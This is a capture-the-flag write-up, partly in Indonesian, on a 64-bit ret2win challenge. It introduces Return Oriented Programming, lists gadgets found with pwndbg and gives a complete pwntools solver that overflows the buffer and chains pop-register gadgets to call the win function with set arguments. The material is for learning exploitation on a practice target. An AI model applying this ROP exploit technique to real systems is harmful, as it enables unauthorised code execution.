Introduction to Return Oriented Programming (ROP). Di arsitektur x86-64, 3 argumen pertama dari saat memanggil fungsi diambil dari register RDI, RSI, dan RDX. Dengan tools seperti ropper atau ROPgadget, kita bisa dapetin gadget yang bisa ngisi register-register itu dengan nilai yang kita inginkan.
My first introduction to using actual ROP to solve a challenge, learned stuff at ir0nstone and used the knowledge to perform "Ret2Win with Parameters". Since this was a 64-bit binary, I had to do register popping. But first, I had to find which variable was connected to which:
Looking at the disassembly for the win function, I saw three comparisons and fortunately they were easily recognizable with their register names of RDI, RSI, and RDX.
The author was nice enough to leave simple return gadgets for each required register pop, so here's the full solver script:
Last updated
pwndbg> rop --grep pop
0x00000000004011fb : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401219 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x0000000000401216 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011f6 : mov byte ptr [rip + 0x2eab], 1 ; pop rbp ; ret
0x000000000040121c : mov ebp, esp ; pop rdi ; ret
0x000000000040121b : mov rbp, rsp ; pop rdi ; ret
0x0000000000401224 : nop ; pop rbp ; ret
0x00000000004011fd : pop rbp ; ret
0x000000000040121e : pop rdi ; ret
0x0000000000401222 : pop rdx ; ret
0x0000000000401220 : pop rsi ; ret
0x000000000040121a : push rbp ; mov rbp, rsp ; pop rdi ; ret
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ret2win --host playground.tcp1p.team --port 19001
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'ret2win')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'playground.tcp1p.team'
port = int(args.PORT or 19001)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# SHSTK: Enabled
# IBT: Enabled
# Stripped: No
io = start()
win = p64(0x401227)
POP_RDI = p64(0x40121e)
POP_RSI = p64(0x401220)
POP_RDX = p64(0x401222)
nop_ret = p64(0x40118f)
payload = b'A' * 120
payload += POP_RDI
payload += p64(0xdeadbeefdeadbeef)
payload += POP_RSI
payload += p64(0xabcd1234dcba4321)
payload += POP_RDX
payload += p64(0x147147147147147)
payload += nop_ret
payload += win
log.info(io.clean())
io.sendline(payload)
log.info(io.clean())
io.interactive()
